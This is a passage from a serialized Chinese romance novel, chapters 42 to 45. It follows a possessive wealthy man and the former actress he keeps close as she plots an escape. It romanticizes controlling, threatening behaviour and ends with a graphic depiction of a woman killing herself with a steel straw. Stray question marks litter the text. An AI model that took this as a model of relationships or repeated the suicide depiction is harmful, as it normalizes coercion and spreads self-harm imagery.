陈添握紧她的手,望向她的那双黑瞳如同怎么?都化不开的浓墨,“我不会再让你冒这种风险,也不会再送你走,如果让其他人先找到你,发生点儿什么?,我会疯。” 这番话,语气极为平静,绝非一时情绪使然。 “你要实在想摆脱我,就?一枪毙了我。” 上一句是解释,这一句才是回答。 “你要下?不去手,”他顿了顿,眼神里渐渐透出?近乎病态的偏执,“我就?守你一辈子。” 第42章 第 42 章 “我守你一辈子?。” 听到这句话, 黎艾的心跳似乎停了一瞬。 她?听他说过很多类似的话,每一次听她?都心跳失控,他的语气?总是透着种世界倾倒山河崩塌也绝不动摇的意志,让你无法不相信。 黎艾深吸一口气?, 扯了扯唇, “那你是打?算以后都禁欲, 做个苦行僧?” “黎艾,我不是你以为的那种离了下半身活不了的男人?,”对于黎艾对他的误解, 他像有?些无奈,“在遇见你之前的那么多年,我没有?过女人?。” “你是我第一个女人?,也会是最后一个。”他笃定道。 没人?听了这样的话会内心毫无波澜,如果不是黎艾在娱乐圈时训练过自己的表情管理, 她?的眼神一定会泄露出一些她?不想让陈添知?道的情绪,此时只看表情,她?的眼神是冷的,没有?任何?温度, “话别说太满。” 陈添笑起来, 像从前那样,散漫, 慵懒,胜券在握,“那我们走着瞧。” 比起他, 黎艾心里的底气?总是要弱一些, 但?面上却?不落下风,“我们走着瞧。” 陈添脸上笑容加深。 黎艾甩开?他的手, 转身面向餐桌,“不是带我来吃饭,饭呢?” “就来。”陈添按了下桌上的上菜铃。 厨房那边把菜送过来自然还有?些时间?,与陈添单独共处一室,时间?总显得漫长,黎艾有?些干坐不住,身上微微燥热,尤其?想到他刚刚说的话。 他重欲的时候,她?不愿意配合,他说要禁欲,她?又?…… 她?有?点烦。 “给我一支烟。”她?朝陈添伸出一只手。 陈添将烟盒从裤兜里拿出来,递给她?,却?又?在即将触碰到她?指尖时将烟盒转了一圈,收回?来。 “为什么想抽烟?”他偏要先问一句。 “烟瘾犯了,”黎艾睨向他,“你以为。” 陈添只笑笑,先抽了支烟叼进嘴里,才将又?抽出半支递给黎艾。 黎艾将那半支抽出来,继续睨着他,“火。” “急什么?” 陈添拿出打?火机,没给她?,先给自己点了烟。 接着,他把打?火机又?揣了回?去。 黎艾都把烟放进嘴里了,看他把打?火机揣回?去,她?顿时火大,咬着烟忿忿开?口:“你什么意思?” “不是只有?打?火机可以点火。” 说着,他忽然俯身凑过来,扬起折角锋利的下颌,用唇间?正燃烧着的那支烟去点黎艾嘴里咬着的烟。 两?支烟碰在一起,像两?个人?的唇瓣相触,像接吻,黎艾眼瞳不由自主地颤了颤。 视线里,除了两?只被点燃的烟,还有?一双含笑的眼。 他掀着薄薄的眼皮在看她?,眼底是带着谑色的戏遣,有?点坏,有?点撩。 心脏像被什么飞旋着击中,蓦地重重一跳。 明明没有?挨得很近,他湿热的呼吸却?像打?在她?的唇边,好似能顺着她?的毛孔渗进去,他身上的气?息连同烟草味一起渗进去,穿过一寸寸骨骼,浸透五脏六腑,激得她?的心跳越来越快。 烟已经被点燃,她?却?忘记往后撤。 与他对视的视线,也忘记移开?。 他眼睛狭长,深邃,瞳色漆黑,像明知?危险又?引人?探寻的漩涡,一旦目光触及,就会深深陷进去,不由自主,情不自禁。 她?怔怔地与他对视了好久,烟都燃了一截。 随着烟一并点燃的,还有?某种暗瘾。 等她?终于意识到自己的失神时,陈添眼底的笑意已然浓如秋雾。 她?慌忙别开?脸,只能借抽烟掩饰慌乱,即便根本掩饰不住。 好在,上菜的服务生?在这时进了弄月轩,她?不用一个人?在这寂静的屋子?里面对那双像能洞穿她?所有?心事的眼。 服务生?上完菜后便退了出去,房间?里又?只剩下他们两?个人?。 两?个人?手里的烟都已燃尽,空气?里弥漫着未散尽的烟,若有?若无,淡如薄雾,气?息却?浓烈,分不清是谁身上的烟味,好像都被彼此的味道笼罩。 黎艾扔了烟头,拿起筷子?,夹了筷离自己最近的一盘鳝丝。 鳝丝切得极细,入口即化,口感绵密,很入味。 不知?道是不是太久没吃上这种大厨做的中国菜,黎艾在将鳝丝送入口的那一瞬间?就把刚刚与陈添的暧昧忘了个干净,脑子?里只有?三个字:好好吃! 她?立马又?夹了筷旁边的挂炉烤鸭。 也好好吃! 她?一筷一筷不停地往嘴里送着桌上的菜,没尝一道菜眼睛就亮一下,那神情让她?冷艳的一张脸上生?出了名为“可爱”的形容。 陈添看着她?,眼底的笑容比刚刚还要浓,带着无尽的纵容。 黎艾都快吃得半饱了,他还没开?始吃,筷子?一直放在旁边没动过,就看着她?。 “秀色可餐”这四个字在这时候不再是形容,而是一种具象的体现。 黎艾的注意力被吃的给全吸引了去,过了好久才发现他没动过筷子?,就坐在那儿看着自己。 “你能不能吃你的饭,别盯着我。” 陈添没有半点拿起筷子的打算,只换了个姿势,“不想吃饭。” “那你想吃什么?” 黎艾本来想说,“屎吗”,但?陈添先一步开?了口。 “你。” 黎艾愣了下,脸上浮起一层薄红,分不清是羞是恼,“陈添,你脸疼不疼?是谁才说了要当苦行僧?” “那是你说的。” 黎艾:…… 被噎了两?秒,黎艾嘴里一哼,头一扭,“爱吃不吃。” 她?自己吃,吃完!渣都不给他剩! 她?化愤怒为食欲,暴风吸入般横扫桌上的每一道菜,一筷接一筷地往嘴里送,把腮帮子?撑得鼓鼓的,像只仓鼠,她?哪里知?道,她?这模样,某人?更爱看。 像是看出她?的心思,某人?偏偏在这时候拿起筷子?,还专挑她?正要去夹的那块肉下筷,两?双筷子?同时夹住同一块肉,一头一尾。 “你不是不吃?”黎艾用力夹住那块肉。 “现在想吃了。” 黎艾知?道他就是故意捉弄她?,将筷子?一搁,“我不吃了。” 看她?使起了小性子?,陈添笑笑,将那块肉夹起来,放到她?碗里,“给你,不跟你抢了。” 黎艾看着躺在碗里那片肉,不自觉咽了下唾沫,她?还没吃饱,她?还想吃。 她?也不为难自己,耍脾气?哪有?吃饭重要,何?况她?都这么久没吃过正宗中式大餐了。 她?夹起那片肉放进嘴里,也不知?道是不是因为这片肉是抢来的,她?觉得格外的香,心情顿时大好。 陈添搁下筷子?,“等你吃完,我们去逛街吧,你来应该还没逛过街,女孩子?怎么能不逛街。” “不去。”黎艾包着满嘴糕点毫不犹豫地拒绝。 “说了,今天你最好乖一点。”陈添声音很轻,却?叫人?不寒而栗,那种轻飘飘的语气?,比失控的怒吼还叫人?心惊,让人?感觉,杀一个人?,对他而言比捏死一只蚂蚁还容易。 嘴里的美食顿时味如嚼蜡。 黎艾再一次放下筷子?,“我不吃了,走吧。” 陈添知?道自己让她?不开?心了,却?也没哄,只说:“以后你随时可以来这里。” 两?个人?之间?的气?氛就这么冷下来。 黎艾起身,出了弄月轩,上车。 车辆驶出庄园,黎艾看着周遭意境悠静的景,本来,她?想吃完饭在这里面散散步的,和他一起。 他这人?,总是有?分分钟哄好她?的本事,又?总是在下一秒将她?脾气?点燃。 陈添带她?来的这座商场离山庄不远,十分钟的行程,车开?进商场停车场。 不比国内的地下停车场,美国这边的停车场大多在室外,黎艾透过窗望向不远处的商场,想起一件事。 “我能逛街吗?”她?问陈添。 “商场清场了,你想逛多久就能逛多久。” 原来是这样。 黎艾其?实也没有?很抵触,她?的确很久没逛过街了,来这里之后穿的衣服也都是当时从酒店打?包带回?去的,有?几套反复穿好几次了,上一次逃跑前她?还打?算网购来着,结果陈添突然说可以让她?跑三天。 下了车,陈添为她?撑伞,两?人?一起走向商场。 伞面很大,黎艾的肩还是不时碰到陈添的胳膊,她?没试图拉开?距离,陈添会把她?拉回?来。 这座商场占地面积目测上万平方米,进去,除却?他们一行人?,偌大的商场里一个人?也没有?,包括服务员,真真正正的清场。 站在这样像一座空城的商场里,黎艾一时间?有?些不知?道从何?逛起,在原地呆呆站了会儿后,还是陈添牵着她?胳膊,拉她?进了一家店,还很熟稔地取下一件黑色连衣裙递给她?,“试试这件。” 这条裙子?不用上身就能让人?知?道它?一定能把一个人?的曲线完美的勾勒出来,而且还不显得暴露,曲线感来源于它?独特得剪裁与设计。 “这条也不错。”陈添又?给她?递过来一条。 这条就相当hot了,完完全全的紧身衣,还露背。 黎艾有?时候会觉得陈添很奇怪,明明是占有?欲极强的一个人?,不让她?拍吻戏,却?从不限制她?的穿衣自由,深V开?到肚脐眼他也不会说什么,以前,黎艾觉得这是他并不爱她?的表现,现在来看……她?还是摸不清。 “你要我穿这么暴露的衣服去酒吧?”她?试探性的问他。 “有?什么?只要你喜欢,想怎么露怎么露,再露,别人?也只能看看,” 黎艾挑眉,“你不也只能看看。” 陈添唇边荡开?一抹笑,“那我还不得多看看?” 黎艾:…… 他总是有?把话题引入死循环的本事。 像是被她?提醒,陈添之后给她?选的衣服多多少少有?点儿露,各种不同风格的露。 黎艾照单全收,作为曾经娱乐圈的浓颜天花板,她?还能怕露? 在绝对安全的环境下,凡是爱美的女生?,有?几个不想展示自己的好身材? 黎艾感觉陈添像把她?当成了他的BJD娃娃,就喜欢给她?穿各式各样的衣服,把她?打?扮得漂漂亮亮的,以前在娱乐圈的时候就是,几百万一件的高定,给她?买了一堆。 看着这次陈添给她?买的上百件衣服,她?忽然觉得,一切都是这张脸惹的祸,她?要不长这样,或许陈添就不会被他看上,她?也早早就离开?了娱乐圈,过上了自由而轻松的生?活,虽然她?从不后悔遇见他,但?他们之间?的相遇从头到尾都是个错误。 想到这些,人?难免变得感性,她?就问他:“陈添,如果我没有?这张脸,你当初还会找上我吗?” “不会。”陈添倒也诚实。 “那如果我毁容了,你肯定就会放手了吧。” “怎么?”陈添掀起一层眼皮,懒声道,“为了让我放手,你要毁容?” “我没那么傻叉。” 陈添笑一声,“那不得了。” 问了当没问,黎艾有?点儿不甘心,又?说:“那如果,出现一个比我更符合你审美的人?,你是不是就会……” “不会。”她?还没说完,陈添就斩钉截铁地打?断了她?。 接着,她?的下把被他轻轻抬起,看见他薄唇张合,笑着对她?说:“在我这儿,不会有?人?比你漂亮。” 她?不由得愣了愣。 陈添唇角的弧度继续往上扬,“不然你以为,陈柏西为什么叫你球花?” 第43章 第 43 章 “不然?你以?为, 陈柏西为什么叫你球花?” 回去的路上,黎艾脑子里一直不停回响着陈添这句话,心脏随之跳个不停。 明?明?都老夫老妻了?,怎么听到他说这么话还是会很心动。 放在以?前, 他俩这会儿就该干些成年人恋爱该干的事了?, 她还会因为他好不容易说了?情话而奖励他, 在床上使劲骂他! 但现在,她还得装冷酷。 说到情话,她这会儿才反应过来, 自从陈添追她到宿厘岛来后,几乎是天天把?情话挂嘴边,还不管是什么场合。 难道,他看了?她当初留下的信后还反思了??觉得是因为他对她没有在言语上明?确的爱意?表达出来才让她并不相信他们能携手走?到最后? 以?前,他是行?动大于语言, 现在,虽不能说他语言大于行?动,但确实和以?前有很大差别,过去的五年, 他从来都是直接行?动, 如今他是先告诉她,然?后再用行?动证明?。 这让她不得不去想, 万一她真的就是逃不掉,他也一直如他所说那样一辈子都不放开她,那他们真要这样纠缠到老吗? 不行?, 黎艾觉得自己不能去想这个问题, 她现在还有机会可以?逃,先逃了?再说。 想到这儿, 车辆队伍已?经路过了?陈添住的地方,全都停在了?她家门口。 其余几辆车上全是今晚她买的衣服,够她不重样的穿好一阵了?。 下车,黎艾拿钥匙把?门打开,随行?的保镖陆陆续续拿着衣服往屋子里放。 黎艾站在门口等他们放完东西然?后锁门,陈添跟着她站在门口,她就问他:“你站这儿干嘛?” “需要找人帮你整理这些衣服吗?”陈添开口。 “不需要,我明?天慢慢收拾。” 这么多?衣服她准备归归类,归类这种事情还得自己来,不然?根本找不着。 “那你今晚干什么?这么早就要睡了??”陈添又问。 现在已?经不晚了?,都十一点多?,不过按照她从前的作息,确实挺早的。 黎艾想了?想,转过身子对陈添说:“你那儿还有烟花吗?再为我放次烟花吧,不扰民的那种。” 昨天她都没有好好看烟花,她本来很喜欢烟花的。 似是完全没料到她会这样说,陈添眼底流露出一丝怔愣。 而后,他忽然?笑着低头?,笑了?会儿才缓缓掀起眸子望向黎艾,笑得沙哑而愉悦地开口:“你今天,倒也不用这么乖。” 黎艾很不喜欢乖这个字眼,而且,她就想看个烟花,怎么就乖了?? 陈添却?还来了?一句:“事出反常必有妖。” 不是,她真的就是单纯想看烟花,这人把?她想那么复杂干嘛? “但无所谓,”他又说,“你想怎么作妖都行?。” 真是的,她能作什么妖? 无非就是逃跑。 她的planB需要充足的时间准备,在此期间,她打算好好跟他相处来着。 最近看来,在这里的生活其实挺好的,压根算不上什么折磨。 她和陈添都还年轻,还有大把?的岁月可以?浪费,加上她愿意?相信,她可以?逃掉,在他们都步入暮年之前。届时,陈添还可以?有大把?的岁月用来放下这段感情,找到另一个合适的人,所以?她暂时没什么心理负担。 如果planB都不好使,她就去泰国?,去泰国?要是也没用,那到时候她再去想如果陈添真要跟她死磕一辈子怎么办的问题。 过去的那么多?年,她一直在因为别人为难自己,现在她不想为难自己了?,能之后再去想的问题,那就之后再去想,当务之急,是把?每一天过好。 今天,她想看烟花。 陈添很快让人把?烟花搬到了?他们两人屋外的海滩上,不扰民的烟花当然?就是喷花类烟花啦。 也不知道陈添为她储备了?多?少烟花,海滩上摆了?一长排,旁边还有一大堆。 “那一长排是什么?” 黎艾想过去看,被?陈添拉住,“你看了?哪儿还有惊喜?” 他说得黎艾怪期待的,“那你快去放啊。” “光我一个人可不够。”陈添说着,伸手打了?个响指。 紧接着,他们身后不知何时突然?冒出来十多?号人,他们每个人都穿着黑色西装,这大晚上往黑灯瞎火的地方是真一点儿看不见。 他们齐齐走?向海滩上那排烟花,再动作划一地拿出打火机去点烟花的火线。 十多筒烟花被同时点燃,下一秒,数不清的水母状烟花升起,拖着长长的,绚烂的,美得极为梦幻的光带与青粉色烟雾,天空变成了?大海,无数的水母在夜空中游动,整个世界像一场不真实的梦。 黎艾怔怔望着眼前的场景,双眸被?烟火映出一片亮光,像是那些烟花一并在她眼底绽放。 她仰头?看着被?烟花铺满的天空,陈添垂眸看着她被?烟花照亮的眼,在她的瞳孔里,他看到了?更美的一幕。 漫天的烟花之下,他眼底有笑意温柔地漾开。 上万枚水母烟花很快消散在夜幕里,只?剩缕缕青烟弥漫在半空。 黎艾望着暗下来的夜空,久久未收回视线,像在回味,眼底漫着一层水雾,隐隐有泪光闪动。 “喜欢?” 带笑的嗓音落下来。 黎艾先是一愣,而后转头?,看向陈添,笑意?跃然?眸中,难得。 “喜欢。”她笑着说。 看着她笑起来的模样,陈添有些意?外的挑起眉尾,“还有很多?,你都会喜欢。” 他这么说,黎艾才发现,那十多?号西装男已?经将刚刚水母烟花的烟箱收了?起来,重新摆了?一排小?小?的烟花盒子。 陈添再次打了?个响指。 一整排烟花盒子被?点燃。 这一次,是全然?不同的梦幻。 被?点燃的烟花像夜空里的蜡烛,火光虽小?,喷薄出的白烟却?如冬日浓雾,白雾里是像满天星一般跳动的光点,星子般的光落在海滩的细沙上,被?夜晚的风吹着往海里跑,像满地滚落的珍珠。 看到这样像漫画里才会出现的画面,黎艾眼底刚刚就有些压不住的泪意?,此刻彻底溃散,一颗一颗的泪滴从她眼角滑下,映着光,像极了?那烟花里,像珍珠般滚落的光粒,更像极了?真正的珍珠。 作为一名曾经的演员,在这样的场景下,她会哭是很平常的一件事,演员本就更易动情,更易落泪。 以?往看到的烟花,基本上都是在过年的时候,过去的五个春节,黎艾没有和陈添一起放过烟花,因为从没一起过年,陈添不是没想过带她回去过年,是她不想,她从一开始就笃定他们之间没结果,那何必一起回家过年。 每到年前,陈添回南城,她去找林昔,林昔和她真的很像,两个人都摆脱了?原生家庭独自生活。 除夕这一天,她和林昔会去放烟花,开车到郊外去放,不过因为车子容量有限,加上禁烟令,她们带的都是一些小?型的烟花,每种烟花的量也不多?,没有过此时眼前的这种壮观。 她和陈添在一起五年,当然?也是一起看过烟花的,陈添每年会带她去日本看烟火大会,也在青港为她放过一次上百万的烟花,每次其实她都哭了?,只?是没落泪,烟花于她而言,是童年的缺失。 小?时候,家里从来没放过烟花,她只?能远远看着别人一家几口热热闹闹的放烟花,她没有压岁钱,没有零花钱,只?能用买文具买菜时偷偷省下的一点钱为自己买一盒仙女?棒。 一根仙女?棒只?够照亮一个小?小?角落,后来,陈添为她放了?照亮一整个世界的烟花。 看到这样的烟花,她很难忍住不落泪。 “就这么喜欢烟花?”陈添伸手过来为她擦眼泪,“没为我哭过几次,每次看烟花却?都要哭。” 黎艾转头?看向他,湿润的眼睛里泱泱柔光,沾湿的睫毛轻轻扑朔,“因为我喜欢烟花,不喜欢你。” 她声音带着沙沙的哭腔,说的话虽无情,却?听得人心软。 “你这话,我不爱听,”陈添这样说着,却?在笑,“所以?接下来,你要还想看烟花,我们做个交换。” “什么?” “一种烟花,换一个吻。” 他唇角笑涡益深,晚风吹着他垂下的发扫过那双好看的眉眼。 黎艾被?他过分好看的笑晃得呼吸一滞,怔怔看着他。 待意?识回拢,她深吸一口气。 换就换。 她往他迈过去半步,踮起脚,在她刚刚好能够到的下颌处轻轻落下一个吻。 陈添唇角一掀,眼底掠起一抹浮动的光。 他缓缓俯下身来,拉近两人之间的身高差,低沉沙哑的声音像引诱,“就放一种?” 亲都亲了?,一下和两下又有什么差别。 黎艾再次凑过去,蜻蜓点水般在他脸上亲了?一下、两下。 正要亲第三下,陈添却?往后稍了?一些,“除了?嘴,只?亲一个地方,只?算一次。” 谁要亲他的嘴。 面对这个人的耍赖,黎艾见怪不怪。 她重新踮起脚,吻向他的额头?、眉心、眼睛、鼻侧、脸颊,算上前面的三下,一共九个吻。 “我亲了?你九下,你要给我放九种烟花。” “好,”陈添眉眼轻垂,犯规地伸手揉了?揉她的脸,“你今天乖得过分了?。” 黎艾拍开他的手,强调道:“这只?是交易,和以?前五年的交易没什么两样。” 陈添摇头?,却?不说为什么摇头?,只?说:“我去给你放烟花。” 他直起身,走?到那堆烟花旁,随意?挑出一种,让人去摆,然?后又走?了?回来,站在黎艾身边陪她一起看。 一堆不知价值多?少万的烟花在近一个小?时后燃尽,每放一种时,陈添会报数,放最后一种烟花时他报的数是:“第八种。” 少了?一种,可黎艾很满足,并不打算跟他计较,面带笑容地望着跟前还未燃尽的最后一种烟花。 “说好九种,可惜这儿就八种,”陈添转过头?来对她说,“所以?……” 黎艾沉浸在烟花的绚烂里,听到了?他说的话也没搭理,自然?就没看到他眼底毫不掩饰的坏劲。 “我还你一个吻。” 低沉声线伴着烟花燃放的声音一并被?风送入耳后,像老旧收音机播放的频道,需要在大脑里过滤一遍才能分辨出那句话的到底说了?什么,等她脑海里浮现出这句话的最后那一个字,她蓦地一愣,却?来不及—— 陈添已?经捧住她的脸,吻了?下来。 温热的触感落在她唇上。 她的眼睛睁大。 一切的感官在这一刻仿佛都不复存在,风声和潮声都消失不见,发丝被?风吹得不停拍在她脸上,她感受不到,唯一能感受到的,是彼此的体温。 这并不是一个沾唇及放的轻吻,却?也不是抵死缠绵的深吻,他的吻静静停在她唇瓣上,像时间定格。 如果时间真的可以?定格,就停在一刻,多?好。 海滩上的烟花还在燃放,他们在烟花前接吻,一切都像梦境般美好。 第44章 第 44 章 对于这个吻, 黎艾没有抗拒,但在结束时,她扇了陈添一耳光。 陈添的脸被扇到一旁,口中微泛甜腥, 他用?舌尖抵了低口腔内侧, 表情没有任何的不爽, 反而,像很爽,他唇角微掀, 轻笑。 彼时烟花已?燃尽,黎艾瞥一眼,什么也?没说,冷冷转身离开。 陈添站在原地看着?她的背影,没追, 天色已?晚,不宜纠缠,他祝她晚安。 回?到屋子,黎艾看着?堆满一整个客厅的手提袋, 有点儿?头疼。 这些衣服她没花陈添的钱, 是她自己买下?来的,但陈添肯定?还是花的比她多, 把那么大个商场清场,不知道要花多少钱。 她在沙发上坐下?来,旁边传来窸窣响声?, 黎小二从?一只手提袋里探出脑袋。 看到那颗被几十个袋子包围的小脑袋, 黎艾失笑。 笑了会儿?,她望向窗外?。 窗外?的月光很美, 银白?的碎光浮在海面,像今夜那些烟花的倒影,今天其实是个很好的夜晚。 夜晚里的那个吻,她并不抵触,甚至希望时间能永远停在那一刻。 她也?……没有生陈添的气。 那一耳光只是象征性的流程,毕竟她出演的,是一个不爱他的人。 她静静望着?窗外?,于一片寂静中轻声?开口:“晚安,陈添。”- 第二天,黎艾起?了个早,收拾衣服。 这活不累,还让人挺乐在其中的。 衣服实在太多,她九点起?的床,到中午十二点还没收拾好,这小屋子没那么多挂衣服的地方,有一些需要分好类叠起?来,还有些不是连衣裙或不是整套的衣服需要搭配好,不然叠起?来放着?很可能就再?也?不会想起?来要穿了。 她正收拾着?,门口传来敲门声?,应该是闻修言来给她送菜了。 把手里的衣服放下?,她去开门。 门外?是闻修言没错,闻修言把菜递过?来。 黎艾接过?,看了眼旁边那栋房子,小声?问他:“你跟陈鹤龄女士联系了吗?” “联系了。” “她怎么说?” “陈鹤龄女士愿意帮您,但她说,她不能保证您不会被再?次找到。” “没事,只要帮我离开这儿?,再?替我准备些东西就行。” “那您需要什么?” 黎艾递给他一张纸条,“东西有点多,注意事项也?多,不要让陈添发现哦。” 闻修言收过?,小心折起?来放进西装内侧口袋,“您放心。” 他只需要传达,黎艾相信这点儿?能力他还是有的。 闻修言走后,黎艾把他买的菜放进了冰箱,就弄了个蛋炒饭吃,然后接着?收拾衣服。 到下?午三点多,她终于收拾完了,搭配好了几十套衣服,其中有好些事陈添选的,这天出门,她特地避开了他选的衣服,毕竟昨晚上才给了他一耳光。 她是在之后的第四天才上身了一件陈添选的衣服,陈添过?目不忘,当然记得哪些衣服是他给她选的,看到她穿着?他选的衣服,这人心里绝对又爽了,脸上的笑看得人心痒。 到了酒吧,这人还时不时望着?她露出这样的笑容,要不是他的长相是很有男人味那挂的,不然看着?真?像只勾人的狐狸。 黎艾收回?暗暗落在他身上的目光,低头调酒。 旁边的黛西在这时候拿着?张酒单小跑过?来,神情有些焦急。 “What happened?(发生了什么?)”黎艾问她。 黛西把酒单递给她,“A girl ordered Angel Shot(一个女孩儿?点了Angel Shot)。” 黎艾神色一惊。 Angel Shot并不是一杯具体的鸡尾酒,如果有女孩儿?点了这款鸡尾酒,那意味着?她遭遇了骚扰或危险,是在向调酒师传递求救信号。 “Which Angel Shot did she order?(她点的哪款Angel Shot?)” 如果是纯Angel Shot,那代?表着?让调酒师送她上车,如果是加冰的,代?表让调酒师帮忙打车,如果是加青柠,则是希望赶紧报警。 “I don''''t know,”黛西摊手,“she shook her head when I asked anything(不管我问什么她都摇头)。” “Where is she?(她在哪儿??)” 黛西给她指,“That Asian girl(那个亚洲女孩儿?)。” 黎艾顺着?她指的方向望过?去,看到一个黑发女生,女生长得很漂亮,五官精致,皮肤也?白?,只是一双眼睛黑眼圈极重,像长期没睡好,或长时间处于惊恐状态。 这边温度这么高,她却穿着?长衣长裤,看样子很像遭受了暴力,所以才需要用衣物遮掩。 黎艾自然不可能坐视不管,思索两秒,她从?吧台出来,朝女生所在的卡座走去。 那是个位于角落的位置,女生坐在最里面,外?面是五个美国壮汉,女生像是很怕他们,将身子缩在角落里,双手紧握成拳撑着膝盖,姿势十分僵硬且局促。 注意到黎艾走过?来,五个人中的其中一个用?极其放浪的眼神上上下?下?将她看了个遍,两只眼睛都快冒光了,笑容猥琐又下?流。 见黎艾在他们的位置停下?来,那男人笑得更令人恶心了。 “Hello sir, we would like to invite this lady to play a game with us(你好先生,我们想邀请这位女士和我们做个游戏。)” 黎艾指着?那女生对坐在最外?面的那名男人说道。 听她提起?女生,上一刻还冲她笑得春心荡漾的男人突然黑了脸色,直接摆手道:“NO NO NO.” “She doesn''''t like to interact with strangers(她不喜欢和陌生人接触)。”他对面的男人解释了一句。 黎艾当然不信他的话,既然他们是这个态度,那她就不准备跟他们进行沟通了,直接用?中文问那女生:“小姐,你是中国人吗?” 一直埋着?头的女生在听到这句话后立马抬起?了头,望向黎艾的眼神如同看到一根救命稻草,明显是听得懂中文。 见状,黎艾正准备继续用?中文跟她沟通,视线却被挡住,一名壮汉站了起?来,用?饱含警告的眼神盯着?黎艾。 黎艾不予理会,往旁边挪一步,张口,嗓子里刚发出一个音节,身体忽然被人猛地一推,力道之大,身体在一瞬间被推了出去,摔向地面。 她下?意识用?双手去撑,身体却在即将重重摔到地上时被一股力量捞了进来,紧接着?,她被拉入一个怀抱,一阵熟悉的气息随之灌入鼻腔。 黎艾转头,看到一张完美的侧脸。 下?一秒,她感?觉到有红光扫过?她的视野,将头回?正,视线里,刚刚推她的那个男人脸上布满了红外?激光的光点。 男人吓得立马举起?了双手。 黎艾有些傻眼,这种场面她拍电影时都没见过?。 “站稳。” 陈添低沉的嗓音从?后方传来,黎艾眨眨眼,正了正腰。 陈添垂眸看着?她,见她站直,他松开放在她腰上的手,抬眼,看想前方的男人,目光骤然间变得锐利。 他朝男人走去。 男人身高也?有一米八好几,在他面前却好似矮了一大截,他没有仰头都是完完全全的俯视。 忽然,只听“嘭”的一声?,男人的脑袋被陈添按到了桌上。 黎艾一惊,倒不是被这声?响吓得,是看陈添那力道,她怕他把这人弄出什么好歹。 陈添一手按着?男人的头,另一只还随意地插着?兜,他弯腰,贴心地让男人能清楚听到他说的话:“You want a death wish?(你找死?)” 男人没敢说话,使劲咽着?唾沫。 和男人同行的另外?四个也?不敢动弹,个个把手举着?。 “Get out to the wall and crouch(滚去墙边蹲着?)。” 说完这句,陈添松开那男人。 几个男的立马抱头跑到墙边去蹲下?。 卡座上只剩下?那个女生,女生也?抱着?头,和他们不一样的是,女生抱头的这个举动像是收到过?伤害之后的应激反应。 黎艾朝她走过?去,在她身边坐下?,轻轻去握她的手,“没事了,别怕。” 女生还是不停发着?抖。 黎艾继续安慰她。 陈添在两米外?看着?,抬手示意后面的人把枪收起?来,他也?转身准备回?去继续处理工作。 可就在这时,他听见“咔-咔”的一阵声?响,他无比熟悉这是什么声?音—— 子弹上膛的声?音。 他猛地回?头。 跟前,刚刚还抱着?膝盖害怕得发抖的女生此时双手握枪,枪口正对黎艾眉心。 没人能把枪带进Sky,这把枪,是黎艾的。 所以刚刚那一出,是这女生在演戏,为的就是让黎艾靠近,并在她毫无防备的情况下?去抢她的枪。 “别动!” 这一声?,是陈添喊的,他在对着?黎艾喊。 “黎艾我求你别动。” 他怕她乱来。 黎艾屏住呼吸,如果陈添没站在他身后,她不会坐以待毙,让人抵着?她的脑门去威胁其他人,她宁愿自己死,可陈添就在她身后,至少不该死在他面前。 “你也?别动。” 女生将黎艾拉过?来,拿枪抵住她的太阳穴,冷冷抬眼看向陈添。 陈添将手举起?。 女生脸上都是红色激光线,但眼神里没有一丝畏惧,紧紧盯着?陈添:“让他们滚出去。” “所有人,出去。” 他开了口,其余人自然听从?,持枪的保镖将店内顾客及服务生也?都带了出去。 仅仅两分钟,整个酒吧只剩下?他们三人。 这时,女生张口似乎准备说什么,陈添抢先一步开口:“现在没有人威胁你的安全,你不用?拿枪指她,你不小心走火杀了她,你的雇主得不偿失。” 女生没有被他动摇,仍然拿枪死死抵着?黎艾。 “别拿枪指她,”陈添再?重复一次,“指我。” 第45章 第 45 章 “别拿枪指她, 指我。” 黎艾心头一顿。 不顾头上?还顶着一把?枪,她不住地朝他摇头。 “别动!”她身后的女生?将?枪口用力压向?她。 “别动!”陈添也说,但语气与那女生?大相径庭,像某种安抚的轻哄。 “没事?的……”陈添用眼神示意她不用担心。 黎艾没办法不担心, 但刚刚确实是她冲动。 努力控制自己的情绪。 等她不动了?, 陈添抬眼看向?她身后的另一双眼, 沉声道:“你的目标是我。” 女生?也看着他,目光谨慎,看着很冷静, 持枪的手却在抖,俨然并非职业的杀手。 看出她的紧张,陈添继续开口:“你还在等什么?” “我就站在这儿,”他张开手臂,“现在只有你手里有枪。” 直觉告诉女生?, 他是故意在引诱,但神经高度紧绷的她还是没有办法始终保持理智。 僵持着与他对视许久,她终于还是动摇了?,枪口缓缓离开了?黎艾的太阳穴, 但始终瞄准着黎艾的头部, 直到,距离足够, 她快速瞄准陈添扣下扳机。 “嘭——!” 陈添曾是名狙击手,而且是特种部队里顶尖的狙击手,双眼对动作的捕捉极为?灵敏, 在女生?调整枪口方向?的那半秒时间里他便已经开始朝一边避闪, 成功躲开了?那一发子弹。 一发落空,女生?明显慌了?, 跟着他的闪躲的方向?又连开了?两枪,但陈添的动作实在太快,她甚至只能看到一抹虚影,等她终于看清他的身形时,他已经站在她面前,手腕被他折断,大脑还未来得及将?痛感传出,原本?在她手里那枚枪竟反过来抵在了?她的头上?。 她愣住,连手腕被折断的疼痛都未意识到。 旁边的黎艾也愣了?,她完完全全不知道发生?了?什么,不过就是眨眼的功夫,怎么抢就到了?陈添手里,她刚刚甚至还一直看着陈添,只是在枪声响起时出于本?能地闭了?下眼,三声枪响,加起来的时间都不到两秒。 陈添刚刚跟她们的距离是两米,不到两秒的时间,完全够他利用一个?侧翻从另一张沙发翻过来。 被枪口对准,女生?的瞳孔不停震颤着。 “谁派你来的?”陈添问她。 他的问话让女生?将?目光从那黑漆漆的枪口移到了?他脸上?,她没有回答,半晌,她垂眸,看向?跟前的长桌,桌上?放着一杯FlamingLamhini—— 一种燃烧的鸡尾酒。 此时杯中的蓝色火焰已经熄灭,这种有火焰燃烧的酒极为?一般用的是钢制吸管,女生?盯着那根钢制吸管,像再次忘了?疼痛,她脸上?忍痛的表情逐渐平静下去。 “再问你一遍,谁派你来的,你现在不说,到了?警局,别后悔。” 女生?视若罔闻,依旧怔怔看着那根吸管。 陈添也低头看过去,却发现女生?猛地伸手抓起了?那根吸管,他意识到她要做什么,却来不及阻止,只能眼睁睁看着她将?钢制吸管毫不犹豫地用力戳向?她自己的太阳穴。 这一幕,黎艾同样目睹。 大脑一片空白,她下意识的抬手捂住嘴,双眸大睁。 女生?往后倒去,潺潺血液从吸管内流出,她也大睁着眼,眼球呈现极为?夸张的凸出。 陈添立马朝黎艾迈过去一步,拿手捂住她眼睛。 